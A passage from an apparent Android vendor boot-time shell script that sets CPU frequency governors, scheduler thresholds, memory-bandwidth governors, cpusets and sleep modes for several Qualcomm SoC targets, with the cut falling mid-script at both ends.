echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/rate_limit_us
echo 1209600 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
echo 576000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# configure governor settings for big cluster
echo "schedutil" > /sys/devices/system/cpu/cpu6/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/rate_limit_us
echo 1344000 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_freq
echo 652800 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
# sched_load_boost as -6 is equivalent to target load as 85. It is per cpu tunable.
echo -6 > /sys/devices/system/cpu/cpu6/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu7/sched_load_boost
echo 85 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_load
echo "0:1209600" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
# Set Memory parameters
configure_memory_parameters
# Enable bus-dcvs
for cpubw in /sys/class/devfreq/*qcom,cpubw*
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo "1144 1720 2086 2929 3879 5931 6881" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 68 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
#Enable mem_latency governor for DDR scaling
for memlat in /sys/class/devfreq/*qcom,memlat-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable mem_latency governor for L3 scaling
for memlat in /sys/class/devfreq/*qcom,l3-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable userspace governor for L3 cdsp nodes
for l3cdsp in /sys/class/devfreq/*qcom,l3-cdsp*
do
echo "userspace" > $l3cdsp/governor
chown -h system $l3cdsp/userspace/set_freq
done
echo "cpufreq" > /sys/class/devfreq/soc:qcom,mincpubw/governor
# Disable CPU Retention
echo N > /sys/module/lpm_levels/L3/cpu0/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu1/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu2/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu3/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu4/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu5/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu6/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu7/ret/idle_enabled
# cpuset parameters
echo 0-5 > /dev/cpuset/background/cpus
echo 0-5 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# Turn on sleep modes.
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
;;
esac
;;
esac
case "$target" in
"trinket")
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
case "$soc_id" in
"394" )
# Core control parameters on big
echo 2 > /sys/devices/system/cpu/cpu4/core_ctl/min_cpus
echo 40 > /sys/devices/system/cpu/cpu4/core_ctl/busy_down_thres
echo 60 > /sys/devices/system/cpu/cpu4/core_ctl/busy_up_thres
echo 100 > /sys/devices/system/cpu/cpu4/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu4/core_ctl/is_big_cluster
echo 4 > /sys/devices/system/cpu/cpu4/core_ctl/task_thres
# Setting b.L scheduler parameters
echo 67 > /proc/sys/kernel/sched_downmigrate
echo 77 > /proc/sys/kernel/sched_upmigrate
echo 85 > /proc/sys/kernel/sched_group_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
# cpuset settings
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# configure governor settings for little cluster
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/down_rate_limit_us
echo 1305600 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
echo 614400 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# configure governor settings for big cluster
echo "schedutil" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/down_rate_limit_us
echo 1401600 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_freq
echo 1056000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
# sched_load_boost as -6 is equivalent to target load as 85. It is per cpu tunable.
echo -6 > /sys/devices/system/cpu/cpu0/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu1/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu2/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu3/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu4/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu5/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu6/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu7/sched_load_boost
echo 85 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_load
echo 85 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_load
# Set Memory parameters
configure_memory_parameters
# Enable bus-dcvs
ddr_type=`od -An -tx /proc/device-tree/memory/ddr_device_type`
ddr_type4="07"
ddr_type3="05"
for device in /sys/devices/platform/soc
do
for cpubw in $device/*cpu-cpu-ddr-bw/devfreq/*cpu-cpu-ddr-bw
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo 762 > $cpubw/min_freq
if [ ${ddr_type:4:2} == $ddr_type4 ]; then
# LPDDR4
echo "2288 3440 4173 5195 5859 7759 10322 11863 13763" > $cpubw/bw_hwmon/mbps_zones
echo 85 > $cpubw/bw_hwmon/io_percent
fi
if [ ${ddr_type:4:2} == $ddr_type3 ]; then
# LPDDR3
echo "1525 3440 5195 5859 7102" > $cpubw/bw_hwmon/mbps_zones
echo 34 > $cpubw/bw_hwmon/io_percent
fi
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 90 > $cpubw/bw_hwmon/decay_rate
echo 190 > $cpubw/bw_hwmon/bw_step
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for memlat in $device/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
for latfloor in $device/*cpu*-ddr-latfloor*/devfreq/*cpu-ddr-latfloor*
do
echo "compute" > $latfloor/governor
echo 10 > $latfloor/polling_interval
done
done
# colcoation v3 disabled
echo 0 > /proc/sys/kernel/sched_min_task_util_for_boost
echo 0 > /proc/sys/kernel/sched_min_task_util_for_colocation
echo 0 > /proc/sys/kernel/sched_little_cluster_coloc_fmin_khz
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# Turn on sleep modes.
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
;;
esac
;;
esac
case "$target" in
"sm6150")
#Apply settings for sm6150
# Set the default IRQ affinity to the silver cluster. When a
# CPU is isolated/hotplugged, the IRQ affinity is adjusted
# to one of the CPU from the default IRQ affinity mask.
echo 3f > /proc/irq/default_smp_affinity
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
case "$soc_id" in
"355" | "369" | "377" | "380" | "384" )
target_type=`getprop ro.hardware.type`
if [ "$target_type" == "automotive" ]; then
# update frequencies
configure_sku_parameters
sku_identified=`getprop vendor.sku_identified`
else
sku_identified=0
fi
# Core control parameters on silver
echo 0 0 0 0 1 1 > /sys/devices/system/cpu/cpu0/core_ctl/not_preferred
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu0/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu0/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu0/core_ctl/offline_delay_ms
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/is_big_cluster
echo 8 > /sys/devices/system/cpu/cpu0/core_ctl/task_thres
echo 0 > /sys/devices/system/cpu/cpu6/core_ctl/enable
# Setting b.L scheduler parameters
# default sched up and down migrate values are 90 and 85
echo 65 > /proc/sys/kernel/sched_downmigrate
echo 71 > /proc/sys/kernel/sched_upmigrate
# default sched up and down migrate values are 100 and 95
echo 85 > /proc/sys/kernel/sched_group_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
# colocation v3 settings
echo 740000 > /proc/sys/kernel/sched_little_cluster_coloc_fmin_khz
# configure governor settings for little cluster
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/down_rate_limit_us
echo 1209600 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
if [ $sku_identified != 1 ]; then
echo 576000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
fi
# configure governor settings for big cluster
echo "schedutil" > /sys/devices/system/cpu/cpu6/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/down_rate_limit_us
echo 1209600 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_freq
if [ $sku_identified != 1 ]; then
echo 768000 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
fi
# sched_load_boost as -6 is equivalent to target load as 85. It is per cpu tunable.
echo -6 > /sys/devices/system/cpu/cpu6/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu7/sched_load_boost
echo 85 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_load
echo "0:1209600" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
# Set Memory parameters
configure_memory_parameters
# Enable bus-dcvs
for device in /sys/devices/platform/soc
do
for cpubw in $device/*cpu-cpu-llcc-bw/devfreq/*cpu-cpu-llcc-bw
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo "2288 4577 7110 9155 12298 14236" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 68 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for llccbw in $device/*cpu-llcc-ddr-bw/devfreq/*cpu-llcc-ddr-bw
do
echo "bw_hwmon" > $llccbw/governor
echo 40 > $llccbw/polling_interval
echo "1144 1720 2086 2929 3879 5931 6881" > $llccbw/bw_hwmon/mbps_zones
echo 4 > $llccbw/bw_hwmon/sample_ms
echo 68 > $llccbw/bw_hwmon/io_percent
echo 20 > $llccbw/bw_hwmon/hist_memory
echo 0 > $llccbw/bw_hwmon/hyst_length
echo 80 > $llccbw/bw_hwmon/down_thres
echo 0 > $llccbw/bw_hwmon/guard_band_mbps
echo 250 > $llccbw/bw_hwmon/up_scale
echo 1600 > $llccbw/bw_hwmon/idle_mbps
done
#Enable mem_latency governor for L3, LLCC, and DDR scaling
for memlat in $device/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Gold L3 ratio ceil
echo 4000 > /sys/class/devfreq/soc:qcom,cpu6-cpu-l3-lat/mem_latency/ratio_ceil
#Enable cdspl3 governor for L3 cdsp nodes
for l3cdsp in $device/*cdsp-cdsp-l3-lat/devfreq/*cdsp-cdsp-l3-lat
do
echo "cdspl3" > $l3cdsp/governor
done
#Enable compute governor for gold latfloor
for latfloor in $device/*cpu*-ddr-latfloor*/devfreq/*cpu-ddr-latfloor*
do
echo "compute" > $latfloor/governor
echo 10 > $latfloor/polling_interval
done
done
# cpuset parameters
echo 0-5 > /dev/cpuset/background/cpus
echo 0-5 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# Turn on sleep modes.
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
;;
esac
#Apply settings for moorea
case "$soc_id" in
"365" | "366" )
# Core control parameters on silver
echo 0 0 0 0 1 1 > /sys/devices/system/cpu/cpu0/core_ctl/not_preferred
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu0/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu0/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu0/core_ctl/offline_delay_ms
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/is_big_cluster
echo 8 > /sys/devices/system/cpu/cpu0/core_ctl/task_thres
echo 0 > /sys/devices/system/cpu/cpu6/core_ctl/enable
# Setting b.L scheduler parameters
# default sched up and down migrate values are 71 and 65
echo 65 > /proc/sys/kernel/sched_downmigrate
echo 71 > /proc/sys/kernel/sched_upmigrate
# default sched up and down migrate values are 100 and 95
echo 85 > /proc/sys/kernel/sched_group_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
#colocation v3 settings
echo 740000 > /proc/sys/kernel/sched_little_cluster_coloc_fmin_khz
# configure governor settings for little cluster
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/down_rate_limit_us
echo 1248000 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
echo 576000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# configure governor settings for big cluster
echo "schedutil" > /sys/devices/system/cpu/cpu6/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/down_rate_limit_us
echo 1324600 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_freq
echo 652800 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
# sched_load_boost as -6 is equivalent to target load as 85. It is per cpu tunable.
echo -6 > /sys/devices/system/cpu/cpu6/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu7/sched_load_boost
echo 85 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_load
echo "0:1248000" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
# Set Memory parameters
configure_memory_parameters
# Enable bus-dcvs
for device in /sys/devices/platform/soc
do
for cpubw in $device/*cpu-cpu-llcc-bw/devfreq/*cpu-cpu-llcc-bw
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo "2288 4577 7110 9155 12298 14236" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 68 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for llccbw in $device/*cpu-llcc-ddr-bw/devfreq/*cpu-llcc-ddr-bw
do
echo "bw_hwmon" > $llccbw/governor
echo 40 > $llccbw/polling_interval
echo "1144 1720 2086 2929 3879 5931 6881" > $llccbw/bw_hwmon/mbps_zones
echo 4 > $llccbw/bw_hwmon/sample_ms
echo 68 > $llccbw/bw_hwmon/io_percent
echo 20 > $llccbw/bw_hwmon/hist_memory
echo 0 > $llccbw/bw_hwmon/hyst_length
echo 80 > $llccbw/bw_hwmon/down_thres
echo 0 > $llccbw/bw_hwmon/guard_band_mbps
echo 250 > $llccbw/bw_hwmon/up_scale
echo 1600 > $llccbw/bw_hwmon/idle_mbps
done
for npubw in $device/*npu-npu-ddr-bw/devfreq/*npu-npu-ddr-bw
do
echo 1 > /sys/devices/virtual/npu/msm_npu/pwr
echo "bw_hwmon" > $npubw/governor
echo 40 > $npubw/polling_interval
echo "1144 1720 2086 2929 3879 5931 6881" > $npubw/bw_hwmon/mbps_zones
echo 4 > $npubw/bw_hwmon/sample_ms
echo 80 > $npubw/bw_hwmon/io_percent
echo 20 > $npubw/bw_hwmon/hist_memory
echo 10 > $npubw/bw_hwmon/hyst_length
echo 30 > $npubw/bw_hwmon/down_thres
echo 0 > $npubw/bw_hwmon/guard_band_mbps
echo 250 > $npubw/bw_hwmon/up_scale
echo 0 > $npubw/bw_hwmon/idle_mbps
echo 0 > /sys/devices/virtual/npu/msm_npu/pwr
done
#Enable mem_latency governor for L3, LLCC, and DDR scaling
for memlat in $device/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Gold L3 ratio ceil
echo 4000 > /sys/class/devfreq/soc:qcom,cpu6-cpu-l3-lat/mem_latency/ratio_ceil
#Enable cdspl3 governor for L3 cdsp nodes
for l3cdsp in $device/*cdsp-cdsp-l3-lat/devfreq/*cdsp-cdsp-l3-lat
do
echo "cdspl3" > $l3cdsp/governor
done
#Enable compute governor for gold latfloor
for latfloor in $device/*cpu*-ddr-latfloor*/devfreq/*cpu-ddr-latfloor*
do
echo "compute" > $latfloor/governor
echo 10 > $latfloor/polling_interval
done
done
# cpuset parameters
echo 0-5 > /dev/cpuset/background/cpus
echo 0-5 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# Turn on sleep modes.
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
;;
esac
;;
esac
case "$target" in
"lito")
# Core control parameters on silver
echo 0 0 0 0 1 1 > /sys/devices/system/cpu/cpu0/core_ctl/not_preferred
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu0/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu0/core_ctl/busy_down_thres
echo 8 > /sys/devices/system/cpu/cpu0/core_ctl/task_thres
echo 100 > /sys/devices/system/cpu/cpu0/core_ctl/offline_delay_ms
# Disable Core control on gold, prime
echo 0 > /sys/devices/system/cpu/cpu6/core_ctl/enable
echo 0 > /sys/devices/system/cpu/cpu7/core_ctl/enable
# Setting b.L scheduler parameters
echo 65 85 > /proc/sys/kernel/sched_downmigrate
echo 71 95 > /proc/sys/kernel/sched_upmigrate
echo 85 > /proc/sys/kernel/sched_group_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
echo 0 > /proc/sys/kernel/sched_coloc_busy_hyst_ns
echo 0 > /proc/sys/kernel/sched_coloc_busy_hysteresis_enable_cpus
echo 0 > /proc/sys/kernel/sched_coloc_busy_hyst_max_ms
# disable unfiltering
echo 1 > /proc/sys/kernel/sched_task_unfilter_nr_windows
# configure governor settings for silver cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy0/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/down_rate_limit_us
echo 1228800 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/pl
echo 576000 > /sys/devices/system/cpu/cpufreq/policy0/scaling_min_freq
echo 650000 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/rtg_boost_freq
# configure governor settings for gold cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy6/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy6/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy6/schedutil/down_rate_limit_us
echo 1228800 > /sys/devices/system/cpu/cpufreq/policy6/schedutil/hispeed_freq
echo 85 > /sys/devices/system/cpu/cpu6/cpufreq/schedutil/hispeed_load
echo -6 > /sys/devices/system/cpu/cpu6/sched_load_boost
echo 0 > /sys/devices/system/cpu/cpufreq/policy6/schedutil/pl
echo 672000 > /sys/devices/system/cpu/cpufreq/policy6/scaling_min_freq
echo 0 > /sys/devices/system/cpu/cpufreq/policy6/schedutil/rtg_boost_freq
# configure governor settings for gold+ cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy7/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/down_rate_limit_us
echo 1228800 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/hispeed_freq
echo 85 > /sys/devices/system/cpu/cpu7/cpufreq/schedutil/hispeed_load
echo -6 > /sys/devices/system/cpu/cpu7/sched_load_boost
echo 0 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/pl
echo 672000 > /sys/devices/system/cpu/cpufreq/policy7/scaling_min_freq
echo 0 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/rtg_boost_freq
# colocation v3 settings
echo 51 > /proc/sys/kernel/sched_min_task_util_for_boost
echo 35 > /proc/sys/kernel/sched_min_task_util_for_colocation
# Enable conservative pl
echo 1 > /proc/sys/kernel/sched_conservative_pl
echo "0:1228800" > /sys/devices/system/cpu/cpu_boost/input_boost_freq
echo 40 > /sys/devices/system/cpu/cpu_boost/input_boost_ms
# Set Memory parameters
configure_memory_parameters
if [ `cat /sys/devices/soc0/revision` == "2.0" ]; then
# r2.0 related changes
echo "0:1075200" > /sys/devices/system/cpu/cpu_boost/input_boost_freq
echo 610000 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/rtg_boost_freq
echo 1075200 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/hispeed_freq
echo 1152000 > /sys/devices/system/cpu/cpufreq/policy6/schedutil/hispeed_freq
echo 1401600 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/hispeed_freq
echo 614400 > /sys/devices/system/cpu/cpufreq/policy0/scaling_min_freq
echo 652800 > /sys/devices/system/cpu/cpufreq/policy6/scaling_min_freq
echo 806400 > /sys/devices/system/cpu/cpufreq/policy7/scaling_min_freq
echo 83 > /proc/sys/kernel/sched_asym_cap_sibling_freq_match_pct
fi
# Enable bus-dcvs
for device in /sys/devices/platform/soc
do
for cpubw in $device/*cpu-cpu-llcc-bw/devfreq/*cpu-cpu-llcc-bw
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo "2288 4577 7110 9155 12298 14236 16265" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 68 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for llccbw in $device/*cpu-llcc-ddr-bw/devfreq/*cpu-llcc-ddr-bw
do
echo "bw_hwmon" > $llccbw/governor
echo 50 > $llccbw/polling_interval
echo "1144 1720 2086 2929 3879 5931 6881 7980" > $llccbw/bw_hwmon/mbps_zones
echo 4 > $llccbw/bw_hwmon/sample_ms
echo 68 > $llccbw/bw_hwmon/io_percent
echo 20 > $llccbw/bw_hwmon/hist_memory
echo 0 > $llccbw/bw_hwmon/hyst_length
echo 80 > $llccbw/bw_hwmon/down_thres
echo 0 > $llccbw/bw_hwmon/guard_band_mbps
echo 250 > $llccbw/bw_hwmon/up_scale
echo 1600 > $llccbw/bw_hwmon/idle_mbps
done
for npubw in $device/*npu*-ddr-bw/devfreq/*npu*-ddr-bw
do
echo 1 > /sys/devices/virtual/npu/msm_npu/pwr
echo "bw_hwmon" > $npubw/governor
echo 40 > $npubw/polling_interval
echo "1144 1720 2086 2929 3879 5931 6881 7980" > $npubw/bw_hwmon/mbps_zones
echo 4 > $npubw/bw_hwmon/sample_ms
echo 80 > $npubw/bw_hwmon/io_percent
echo 20 > $npubw/bw_hwmon/hist_memory
echo 10 > $npubw/bw_hwmon/hyst_length
echo 30 > $npubw/bw_hwmon/down_thres
echo 0 > $npubw/bw_hwmon/guard_band_mbps
echo 250 > $npubw/bw_hwmon/up_scale
echo 0 > $npubw/bw_hwmon/idle_mbps
echo 0 > /sys/devices/virtual/npu/msm_npu/pwr
done
for npullccbw in $device/*npu*-llcc-bw/devfreq/*npu*-llcc-bw
do
echo 1 > /sys/devices/virtual/npu/msm_npu/pwr
echo "bw_hwmon" > $npullccbw/governor
echo 40 > $npullccbw/polling_interval
echo "2288 4577 7110 9155 12298 14236 16265" > $npullccbw/bw_hwmon/mbps_zones
echo 4 > $npullccbw/bw_hwmon/sample_ms
echo 100 > $npullccbw/bw_hwmon/io_percent
echo 20 > $npullccbw/bw_hwmon/hist_memory
echo 10 > $npullccbw/bw_hwmon/hyst_length
echo 30 > $npullccbw/bw_hwmon/down_thres
echo 0 > $npullccbw/bw_hwmon/guard_band_mbps
echo 250 > $npullccbw/bw_hwmon/up_scale
echo 0 > /sys/devices/virtual/npu/msm_npu/pwr
done
#Enable mem_latency governor for L3, LLCC, and DDR scaling
for memlat in $device/*qcom,devfreq-l3/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable cdspl3 governor for L3 cdsp nodes
for l3cdsp in $device/*qcom,devfreq-l3/*cdsp-l3-lat/devfreq/*cdsp-l3-lat
do
echo "cdspl3" > $l3cdsp/governor
done
#Enable mem_latency governor for LLCC and DDR scaling
for memlat in $device/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Gold L3 ratio ceil
for l3gold in $device/*qcom,devfreq-l3/*cpu6-cpu-l3-lat/devfreq/*cpu6-cpu-l3-lat
do
echo 4000 > $l3gold/mem_latency/ratio_ceil
done
#Prime L3 ratio ceil
for l3prime in $device/*qcom,devfreq-l3/*cpu7-cpu-l3-lat/devfreq/*cpu7-cpu-l3-lat
do
echo 4000 > $l3prime/mem_latency/ratio_ceil
done
#Enable compute governor for gold latfloor
for latfloor in $device/*cpu*-ddr-latfloor*/devfreq/*cpu-ddr-latfloor*
do
echo "compute" > $latfloor/governor
echo 10 > $latfloor/polling_interval
done
done
# cpuset parameters
echo 0-5 > /dev/cpuset/background/cpus
echo 0-5 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# Turn on sleep modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
;;
esac
#Apply settings for atoll
case "$target" in
"atoll")
# Core control parameters on silver
echo 0 0 0 0 1 1 > /sys/devices/system/cpu/cpu0/core_ctl/not_preferred
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu0/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu0/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu0/core_ctl/offline_delay_ms
echo 8 > /sys/devices/system/cpu/cpu0/core_ctl/task_thres
echo 0 > /sys/devices/system/cpu/cpu6/core_ctl/enable
# Setting b.L scheduler parameters
# default sched up and down migrate values are 95 and 85
echo 65 > /proc/sys/kernel/sched_downmigrate
echo 71 > /proc/sys/kernel/sched_upmigrate
# default sched up and down migrate values are 100 and 95
echo 85 > /proc/sys/kernel/sched_group_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
